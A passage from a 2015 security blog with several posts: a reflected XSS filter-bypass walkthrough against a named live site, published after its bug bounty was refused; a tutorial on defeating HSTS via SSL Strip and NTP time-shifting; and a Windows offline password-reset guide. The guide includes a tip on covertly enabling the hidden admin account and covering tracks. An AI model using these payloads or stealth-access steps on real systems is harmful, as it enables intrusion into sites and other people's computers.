The whole point of starting this blog post with my background and personal investment in the Hard|OCP community was to demonstrate that these kind of actions come from the desire to protect people, not to harm them. Some people might argue that it's just an excuse to hack things, but the reality of the situation is that I pen tested this site for free, I explained in detail the hacks and risks to the owner as well as the steps to best fix it. I spent time testing and re-testing their implemented fixes, as well as coming back to check on the site and see if anything is still vulnerable at regular intervals - I'm not paid anything to do that. At the end of the day hackers are left with a choice which is the lesser of 2 evils, either cause an embarrassing situation and hope that it encourages a legitimate fix or leave the vulnerability open and hope that no one ever finds and abuses it.

And nothing stays hidden forever.

Kyle if you ever read this, I hope you understand that it wasn't meant maliciously but rather to keep your users safe. I'd like to extend a personal thank you for running the site that provides endless value and helped teach me, the same to all the forum members who contribute positively to the community.

*Update* Kyle wasn't please and accused me of whining about being banned, I genuinely have no hard feelings about that, for the record. I've gone back and tried to re-word parts of the post to better reflect that.

Work [H]ard, Play [H]ard, Stay [H]ard.

Tuesday, 6 January 2015

My first bug bounty

Adventures in XSS

Yesterday I submitted my first bug bounty which felt just as good as I thought it would, great success. The exploit is on www.ziggo.tv, it's only a basic reflected XSS exploit but it was fairly hard won as they have extensive protection to deal with user input. It turns out that despite a bug bounty description that offers compensation in exchange for bugs, they don't think XSS is dangerous enough to warrant paying out. Normally I'd be more discreet with security issues but I thought that was a bit of a dick move on their part so I've decided to publish instead and at least get an interesting blog post out of it.

Cross Site Scripting

If you're not familiar with XSS then please take a look another of my posts which explains XSS attack vectors in depth, you can find it here. The TL;DR version is that XSS is an exploit that allows attackers to inject JavaScript into someone else's website via an abuse of user submitted content, any users who browse the website are open to any number of attacks.

In this case the user submitted content was a search feature on their media site, if you enter a search term you'll get back a very ugly looking URL including an array of page parameters, one of which is the search term. This is the result of searching for "test".


You can see the search_by_keyword parameter at the end, it is set to a value of test, the basic attack methodology of reflected XSS is to craft a malicious link and then send that link to a victim(s), or simply post it on another site and encourage people to click on it. Only those people following the specially crafted URL will be affected by the vulnerability, everyone else arriving at the search page naturally will never be affected.

Trial and error

Finding XSS vulnerabilities usually involves a lot of trial and error, you're blind as to how the server processes input so you need to present specific inputs and test to see how the server behaves and what it returns, this helps you build up a mental image of the method by which they processes data and return it to the user, it almost always has some kind of sanitization that removes potentially harmful code.

The first thing to do is just throw in an attempt to open up a script tag and see the behaviour, let's try the parameter

search_by_keyboard=test" /><script>

This does several things, first of all having the word test in there helps me find the result in the source code of the page that is returned, that just makes iterative testing much faster. The " /> closes out the input box we're injecting this into. In the HTML on the result page you'll find the search box pre-populated with the old search result which is the source of the injection, this is where your search term is being returned to the page. It looks something like this normally

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="" />

You can see that by using the input test" /><script> we can prematurely close the value property and then close the input tag itself, leaving us able to write valid HTML such as <script> tags.

However the result in this case was that <script> was replaced with [removed], they're specifically  looking for script tags and replacing them with something harmless, this is the first piece of the puzzle that is their user input sanitization.

The next step I took was looking at attack vectors that didn't use <script> tags explicitly, there's a huge number of these but a really easy one is to give HTML elements some event attributes, events are triggered when some specific condition occurs, they can be when a user hovers a mouse over an element, or it could be when an error is encountered, writing deliberately malformed HTML inside a tag and including an onerror event attribute is a great way to automatically trigger itself and run the Javascript that is associated with the event. It can be done like this

search_by_keyboard=test" onerror="" />

You simply put your Javascript inside the onerror attribute, in this circumstance input elements don't support onerror attributes, but the point isn't to exploit straight away, it's to map out what sort of characters are allowed and see if anything is modified or removed. The result we get is unexpected:

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test"  />

It looks like they've removed the onerror="" but they've kept test, they obviously have some kind of blacklist of denied strings. There is however a benefit to this, unlike the detection of <script> which is replaced with [removed], these attributes are just deleted, that has the extremely helpful property of collapsing together text that exists either side. For example


becomes simply


There is the potential for us to use this to help beat other parts of the filter, if we can work out the order the filters are applied then we can pass the first one by splitting up our key words and have the other filter reassemble them. Let's try breaking up a script tag:

search_by_keyboard=test" /><scronerror=""ipt>

The result is

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test  />&lt;script&gt;"

Damn, so close. <script> now evades being replaced with [Removed], however they've safely HTML encoded the angle brackets into &lt; and &gt;, and oddly the close quote ends up at the end rather than closing the value attribute like it should.

If there was only a method to stop the angle brackets from being HTML encoded, unfortunately you c cannot use the same trick of splitting up text in order to obfuscate it when you're only dealing with a single character...or can you?

Enter URL encoding to save the day, all text can be URL encoded, it just so happens the site is taking URL encoded input and it's decoding it for us before usage, that's handy. So we can represent < and > as their URL encoded counterparts which is %3C and %3E. These on their own are correctly URL decoded by the server and are treated like regular brackets, but there's nothing to stop us from breaking up the URL encoded variants with an event tag. Let's try.

search_by_keyboard=test"" />%3onerror=""Cscript%3onerror=""E

You'll also note I've added a 2nd quote after test, this is to try and keep the HTML mark up well formatted by adding in another quote as one alone is removed. It's a success, our output is now

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test " /><script>

Now all we need to do is craft our exploit, in this case I'm just going to load and play some festive christmas music from another website, we can do this using the following Javascript:

var new_audio = document.createElement("audio");

Let's add that in, wrap the end in a close script tag </script>, we'll need to use the same trick with onerror="" to obfuscate it. Let's also clean up after ourselves to make sure we're not leaving behind any malformed HTML, when we prematurely closed the value attribute and then closed the input tag we left behind characters that were designed to do this. So let's open up an extra html element ourselves and not close this tag, it will be closed by the characters left behind. For this purpose a half open anchor tag is fine - this keeps the page looking the same as before and masks the attack. Our final URL is


Merry Christmas everyone!

Note: Because I submit the bug to their security team it's not likely to remain active for very long, also if you have a slow connection it might take a few seconds to load the audio.

Monday, 5 January 2015

Defeating HSTS and other acronyms

Defeating HTTP Strict Transport Security

This tutorial covers attacks on HTTP Strict Transport Security, sometimes known as STS or HSTS. Yes that's right, we have so many acronyms we're now nesting them. Macronyms to the intellectual elite.

A history lesson

To understand what HSTS is you need to understand the history of MITM (Man In The Middle) attacks on digital communications. In the beginning there was HTTP, The browser (Alice) could communicate with the web server (Bob).

Alice <------> Bob

However an adversary Eve could perform a MITM attack on connection by telling Alice that she is Bob, and telling Bob she is Alice, both Bob and Alice send their communications to Eve who logs the information, potentially modifies it and then lets it pass on to the real destination, both Bob and Alice are non the wiser.

Alice <------> Eve <------> Bob

To secure communications HTTPS was invented, a secure version of HTTP which simply layered HTTP inside an SSL connection, this did 3 things, it provided Secrecy, Integrity and Authenticity.

SSL works using public key cryptography, Alice and Bob both have a public and private key, the public keys are shared first, messages from Alice are signed and encrypted with Bobs public key and only Bobs private key can decrypt them, and vice versa. Now Eve cannot read the communications, she can see the exchange of public keys across the wire however she cannot decrypt the message without somehow discovering the private keys first.

This worked well for some time, until Moxie Marlinspike did us all a favour, he educated us.

SSL Strip

SSL strip is an attack on HTTPS connections written by Moxie, his thesis is that most HTTPS connections on the internet are not initiated by the user typing "HTTPS" into the address bar, but rather encountered by a HTTPS link provided in an existing HTTP context or by the web server redirecting HTTP requests to HTTPS ones.

SSL Strip simply monitors the plain text HTTP connections, any responses from the web server back to the client that includes HTTPS hyper-links are re-written to be HTTP, and any redirect responses the server sends are also re-written from HTTPS to HTTP, internally SSL Strip keeps track of what it has modified. The client is forced to communicate with SSL Strip in HTTP but SSL Strip faithfully presents a HTTPS connection to the web server using its own public/private key pair.

This forces all communications to use regular HTTP connections between Alice and Eve where the data is sent in the clear and can be logged or modified. In practice SSL Strip is deadly, few people notice they're browsing a normally secure website with SSL disabled.

Alice <---HTTP---> Eve <---HTTPS---> Bob


HSTS was created as a solution to attacks like SSL Strip. It introduces a new header inside HTTP communications called Strict-Transport-Security, the server includes this header which tells the browser to only use SSL connections on the specified domain in future and for how long, if the browser supports HSTS headers correctly it will create a new policy to always use SSL until the expiry date elapses.

This creates only 2 points of attack for adversaries. 

1) The host name and underlying DNS system to verify it, if secure DNS isn't used then domains can spoofed and pointed to attackers servers.
2) The expiry time of the policy, after the expiry time has been reached the browser reverts to normal behaviour which is to connect over regular HTTP unless specified otherwise.

Both of these vectors have been exploited recently.

SSL Strip 2

Leonardo Nve presented a talk at Blackhat Asia 2014 where he introduced an improved version of Moxies original tool SSL Strip. SSL Strip 2 performs MITM attacks on DNS requests forcing requests from the browser to be sent directly to the attacker.

NTP and time shifting with Delorean

Network Time Protocol (NTP) is a widely used protocol for synchronizing time across a network, most major Operating Systems implement some form of NTP to keep the system time as accurate as possible, there are several revisions of NTP including ones which implement secure time updates with cryptographically signed messages (v4 onwards) however no major operating systems currently support this out of the box making almost everyone vulnerable to MITM attacks on time updates.

Each operating system behaves differently with regards to when time updates occur and with what frequency, as well as a maximum delta change from the current time/date that is allowed in a single update. Step in Jose Selvi with new MITM tool called Delorean which focuses on MITM attacks on NTP, you can find his whitepaper here.

Using Delorean and time shifting the Operating Systems internal clock, any software that relies on the internal clock such as the browsers checking for expired policies can now be fooled by adversaries. Forcing the internal clock to the expiration date of the policy and then modifying all future HTTP request to remove the HSTS value from the header will prevent the browser from forcing SSL usage and all existing SSL downgrade attacks will work as normal.

Password Tomfoolery

Windows password "recovery"

Sometimes we forget our passwords and need to recover or reset them. Yeah right! You want to hack someone you know, just admit it you diabolical mastermind. This post investigates the strength of Windows password schemes and acts as a good educational primer for an upcoming post I have planned to cover password cracking. I also cover a simple tutorial to reset forgotten windows password and what kind of mitigation you can use to protect your passwords and data from being reset by adversaries.

Intro to Passwords

First a little bit of history regarding passwords and some theory. Microsoft have supported passwords for users ever since Windows 3.1 in order to help secure user's data. There is an interesting problem with passwords, if the Operating System has to verify the password then doesn't it have to compare whatever the user supplies with the original? If that's the case doesn't it need to store the original somewhere? With the ability to remove hard drives from a computer and install them in another computer what is to stop us using another system to read the password from the hard drive? A curious problem.

The solution is hashing, a hash is a mathematical function which takes some variable length plain text input such as a password and it produces a fixed length output which appears random or scrambled. Hash functions are designed to be one way, there is no inverse function that produces the original plain text from the hash, in fact many plain text inputs may create the same hash, otherwise known as a collision. Collisions are undesirable but in most hashing algorithms the odds of them occurring is very small.

Using this technique the operating system can generate the hash of your password when you first pick it and store that on the hard drive, when you provide a password to log in with in future it simply hashes what you provided and then compares the hashes to see if they match, if they do it knows the passwords are the same, without ever needing to know the original.


The first hashing function Microsoft introduced was used by the LAN Manager and was known as the LAN Manager hash, Lan Man Hash or simply LM hash, it was adopted in windows 3.1 and was used for all the user desktop OS's up until Windows ME (Win3.1, Win95, Win98, Win ME), there are significant weaknesses in the strength of LM hashing. Microsoft introduced a successor in their server range of OS's starting in Windows NT4, the new hash is called NTLM which was later revised to NTMLv2 in Windows 2000. Eventually the user OS line switched to be NT based with windows XP onwards, adopting NTLMv2 which has since been used in Win Vista, Win7 and Win8.
There are brute force attacks that can be done against LM and NTLM that can retrieve the original plain text, in the case of LM for any length password (maximum 16 characters) in the case of NTLM practical attacks work on passwords up to length 8-12, above that they become infeasible on modern hardware. These attacks focus on hashing all possible combinations of passwords and comparing the hashes until they're discovered, it's very calculation intensive and can take long periods of time. Because of the impractical nature of these recovery methods this post will focus on resetting passwords to new values rather than recovering old ones, I will cover LM and NTLM recovery in a future post.

Password reset

While hashes protect the password from being known if someone is to read the hard drive from another operating system, it cannot possibly stop you from hashing a new password and then replacing the original hash with one which you know the plain text value of. It's normally impractical to remove the hard drive of the target computer and install it in another computer, thankfully there is a better way, simply write an operating system to a USB flash drive, install a boot sector that allows the PC to boot from the drive and you have a handy tool you can take anywhere and use to replace unknown password hashes with known ones, resetting the password.

Hiren's BootCD

There are many tools to allow you reset passwords, however my personal preference is a handy suite of tools called Hiren's BootCD, it's a bit like the Swiss Army Knife of PC tools, you can find Hiren's BootCD here and it's free to download. The instructions on how to make a bootable USB flash drive and install Hiren's BootCD can be found here.
The usage is relatively simple, power off your target PC, place the USB drive into any working USB slot, turn on the computer and boot from the USB, reset the password on the account you like and then remove the key and reboot again. If the key doesn't boot but instead windows loads as normal then you'll have to enter BIOS and change the boot order and put USB booting above booting off the hard drive.
  • Once you've booted off the drive simply select the "Offline Windows NT/2000/XP/Vista/7 Password Changer" and press enter, wait for the screen to stop scrolling text, eventually the Offline NT Password & Registry Editor will load.
  • Select the hard drive partition that contains the Windows install.
  • Confirm the windows registry path, in almost all cases the default location will be correct, simply press enter.
  • Select Password reset by pressing enter.
  • Select Edit user data and passwords, press enter.
  • Enter the user name of the user you wish to reset.
A pro tip here is that if you want to access a machine but no alert the users by resetting their password then you can enable a hidden admin account which exists in Vista and newer Microsoft OS's. Enable the account and reset the password then when booting the admin account will be in the list of users to select from. As admin you'll have access to all the other user profile folders but you have the benefit of reverting the account to being disabled once you're done which will remove it from the user list. For maximum stealth don't forget to undo any BIOS changes you made as well.
  • Once you've changed the password, press Q to quit the tool.
  • You're prompted if you want to write the files back to the computer, press Y and then enter.
  • Press enter again to confirm you're done using the tool.
  • Remove the USB drive and reboot the PC again
  • If the computer has multiple accounts simply select the account you reset and leave the password blank, if the computer only has 1 account then you'll be logged in automatically.
More in depth instructions with images can be found here.

Note: While this tool is useful for resetting local computer accounts, it wont help with user accounts on Microsoft domains, these are typically controlled from a DC (Domain Controller).


In order to protect yourself from these sort of attacks you only have one good option and that's to encrypt the entire hard drive with FDE (Full Disk Encryption), this stops the data on the hard drive from being overwritten in plain text, not just the password hashes but all of your data. Trying to stop USB booting is an ineffective way of preventing these attacks, even if you disable USB booting in the BIOS and set an admin password on that, the BIOS can be reset. If you physically disable the USB drives there's always the option of removing the system disk from the computer and simply putting it into another PC.
I personally use and recommend TrueCrypt which is a free and open source FDE tool which was recently independently audited and found to have no back doors and strong encryption, the project was ended by the creators but has been forked by the community, you can find it here. There are many other different tools you could use, check out an extensive list here.
Make sure you read and understand the implications of FDE before using it, you will get permanent loss of your data if you forget or lose the password. FDE also has some performance impact on read/write speeds in certain systems. For this reason I recommend Intel i3/i5/i7 CPUs based off the Sandy Bridge architecture or newer since they have very fast hardware AES instruction sets which make the performance overhead nominal. TrueCrypt comes with hardware AES support and a handy benchmark tool to test read/write speeds on your hardware.